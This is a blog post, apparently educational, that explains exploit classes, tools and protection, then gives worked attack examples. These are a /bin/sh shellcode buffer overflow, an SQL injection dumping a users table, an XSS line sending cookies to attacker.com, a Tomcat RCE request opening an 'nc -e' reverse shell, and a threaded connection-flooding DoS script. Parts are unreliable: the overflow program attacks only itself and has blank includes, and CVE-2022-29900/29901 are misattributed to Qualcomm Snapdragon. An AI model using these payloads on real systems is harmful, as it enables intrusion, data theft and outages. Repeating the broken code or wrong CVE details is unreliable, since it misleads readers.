Understanding Exploits, Methods and Protecting

An exploit is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a vulnerability in a system or an application to cause unintended or unanticipated behavior. Exploits are often used by hackers to gain unauthorized access to devices, networks, or data, or to perform malicious actions such as installing malware, stealing information, or launching denial-of-service attacks.

Exploits can be classified by how they communicate with the vulnerable system or application. A remote exploit works over a network and does not require any prior access to the target. A local exploit requires prior access to the target and usually increases the privileges of the attacker beyond those granted by the system administrator. Exploits can also be classified by the action they perform on the target; for example, unauthorized data access, arbitrary code execution, or denial of service.

There are many tools and methods that hackers use to find and exploit vulnerabilities in systems and applications. Some of the most common ones are:

  • Fuzzing: This is a technique that involves sending random or malformed data to a system or application to test its robustness and discover potential vulnerabilities.
  • Scanning: This is a technique that involves probing a system or network for open ports, services, or vulnerabilities that can be exploited.
  • Exploit frameworks: These are software platforms that provide a collection of exploits, payloads, and tools for automating and simplifying the exploitation process. Some of the most popular exploit frameworks are Metasploit, Exploit Pack, and Cobalt Strike.
  • Shellcode: This is a piece of code that is injected into a vulnerable system or application to execute arbitrary commands. Shellcode can be written in assembly language, C, Python, or other languages, depending on the target platform and architecture.
  • Web application exploits: These are exploits that target web applications or browsers by exploiting vulnerabilities such as cross-site scripting (XSS), SQL injection, cross-site request forgery (CSRF), or file inclusion.

Smartphones are also vulnerable to exploits, especially Android devices that use various chipsets and drivers from different manufacturers. Some of the recent examples of smartphone exploits are:

  • CVE-2023-24033 and three other vulnerabilities that affect Android devices that use Samsung’s Exynos chipsets. These vulnerabilities allow remote code execution at the baseband level with no user interaction.
  • CVE-2023-28663 and CVE-2023-28664 that affect Android devices that use ARM graphics processors. These vulnerabilities also allow remote code execution with root privileges.
  • CVE-2022-29901 and CVE-2022-29900 that affect Android devices that use Qualcomm’s Snapdragon CPU. These vulnerabilities allow memory corruption and information disclosure.

To protect yourself from exploits, you should always keep your systems and applications updated with the latest security patches from the vendors. You should also use antivirus software, firewalls, and other security tools to monitor and block malicious traffic and activities. You should also avoid opening suspicious links, attachments, or downloads from unknown sources. You should also be careful about granting permissions to apps or websites that request access to your device’s data or features.

To learn more about exploits and how to prevent them, you can consult various sources of information such as:

  • The National Vulnerability Database (NVD), which is a repository of standardized information about software vulnerabilities maintained by the US government.
  • The Common Vulnerabilities and Exposures (CVE), which is a list of publicly known cybersecurity vulnerabilities assigned with unique identifiers.
  • The Exploit Database (EDB), which is an archive of public exploits and corresponding vulnerable software maintained by Offensive Security.
  • The MITRE ATT&CK, which is a knowledge base of adversary tactics and techniques based on real-world observations.

Exploits are a serious threat to the security and privacy of users and organizations. Exploits can compromise devices, networks, or data by taking advantage of vulnerabilities in systems or applications. Hackers use various tools and methods to find and exploit vulnerabilities, including smartphones. Users should always update their systems and applications with the latest security patches and use security tools to protect themselves from exploits. Users should also educate themselves about exploits and how to prevent them by consulting various sources of information.

Buffer overflow

This exploit takes advantage of a vulnerability in a program that does not check the length of the input and allows to overwrite the memory with malicious code.

// Exploit for a buffer overflow vulnerability in a program that copies the input to a buffer of size 64
// The exploit inserts a shellcode that executes /bin/sh and the return address of the buffer
// The shellcode is executed when the program returns from the function

#include 
#include 
#include 

// Shellcode that executes /bin/sh (depends on the processor architecture)
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

// Return address of the buffer (depends on the operating system and the program version)
unsigned long ret_addr = 0xbffff7c0;

int main(int argc, char *argv[])
{
    // Buffer of size 64
    char buffer[64];

    // Payload that contains the shellcode and the return address
    char payload[64 + 4];
    memcpy(payload, shellcode, sizeof(shellcode) - 1);
    memset(payload + sizeof(shellcode) - 1, 'A', 64 - sizeof(shellcode) + 1);
    *(unsigned long *)(payload + 64) = ret_addr;

    // Copy the payload to the buffer
    strcpy(buffer, payload);

    // Print the buffer
    printf("%s\n", buffer);

    return 0;
}

This exploit is for educational purposes only and should not be used for illegal purposes.

SQL injection

This exploit takes advantage of a vulnerability in a web application that does not validate or filter the user input and allows to inject SQL commands into the database.

-- Exploit for a SQL injection vulnerability in a web application that accepts user input for searching products
-- The input is inserted directly into a SQL query without validation or filtering
-- The exploit inserts an input that terminates the original query and starts a new one
-- The new query returns all the data from the users table, including passwords

-- Normal input: t-shirt
-- Original query: SELECT * FROM products WHERE name LIKE '%t-shirt%';

-- Malicious input: t-shirt'; SELECT * FROM users; --
-- Modified query: SELECT * FROM products WHERE name LIKE '%t-shirt'; SELECT * FROM users; --%';

This exploit is for educational purposes only and should not be used for illegal purposes.

Cross-site scripting (XSS)

This exploit takes advantage of a vulnerability in a web site or application that does not validate or filter the user input or output and allows to insert JavaScript code into the web page.

<# Exploit for a XSS vulnerability in a web site that accepts user input for leaving a comment on an article
# The input is inserted directly into the HTML code of the page without validation or filtering
# The exploit inserts an input that contains a script tag with malicious JavaScript code
# The JavaScript code sends the user's cookie to a site controlled by the attacker -->

# Normal input: Nice article, congratulations! -->
# Original HTML code: 
# Nice article, congratulations!
 -->

# Malicious input: Nice article, congratulations!
# document.location='http://attacker.com/?cookie='+document.cookie; -->
# Modified HTML code: 
Nice article, congratulations!
# document.location='http://attacker.com/?cookie='+document.cookie;
 -->

This exploit is for educational purposes only and should not be used for illegal purposes.

Remote code execution (RCE)

This exploit takes advantage of a vulnerability in a program or service exposed on the Internet that accepts input from remote sources without validating or filtering the data received and allows to execute arbitrary code on the target system.

# Exploit for a RCE vulnerability in a web server Apache Tomcat
# The web server Apache Tomcat accepts HTTP requests from remote clients
# The HTTP request contains a JSP parameter that is interpreted as Java code by the server
# The exploit sends an HTTP request with a JSP parameter that contains malicious Java code
# The Java code creates a process that executes the command /bin/sh -c 'nc -e /bin/sh attacker.com 4444'
# The command creates a reverse connection between the server and the site controlled by the attacker
# The attacker gets an interactive shell on the server with the privileges of the Tomcat service

# Normal HTTP request: GET /index.jsp HTTP/1.1
# Host: vulnerable.com

# Malicious HTTP request: GET /index.jsp?jsp=<%=Runtime.getRuntime().exec("/bin/sh -c 'nc -e /bin/sh attacker.com 4444'")%> HTTP/1.1
# Host: vulnerable.com

This exploit is for educational purposes only and should not be used for illegal purposes.

Denial-of-service (DoS)

This exploit takes advantage of a vulnerability in a system or network that allows to consume its resources or disrupt its functionality and prevent legitimate users from accessing it.

# Exploit for a DoS vulnerability in a web server that does not handle concurrent connections properly
# The web server accepts TCP connections from clients on port 80
# The exploit creates multiple TCP connections to the web server and keeps them open without sending any data
# The web server runs out of resources or sockets and cannot accept new connections from legitimate clients

import socket
import threading

# Target web server IP address and port
target = "192.168.1.100"
port = 80

# Number of connections to create
connections = 1000

# Function that creates a TCP connection to the target and keeps it open
def connect():
    # Create a socket object
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Connect to the target
    s.connect((target, port))
    # Keep the connection open
    while True:
        pass

# Create a list of threads
threads = []

# Loop for the number of connections
for i in range(connections):
    # Create a thread that calls the connect function
    t = threading.Thread(target=connect)
    # Add the thread to the list
    threads.append(t)
    # Start the thread
    t.start()

# Wait for all threads to finish
for t in threads:
    t.join()

This exploit is for educational purposes only and should not be used for illegal purposes.


Home » Blog » EN » Linux – EN » Understanding Exploits, Methods and Protecting

Lascia un commento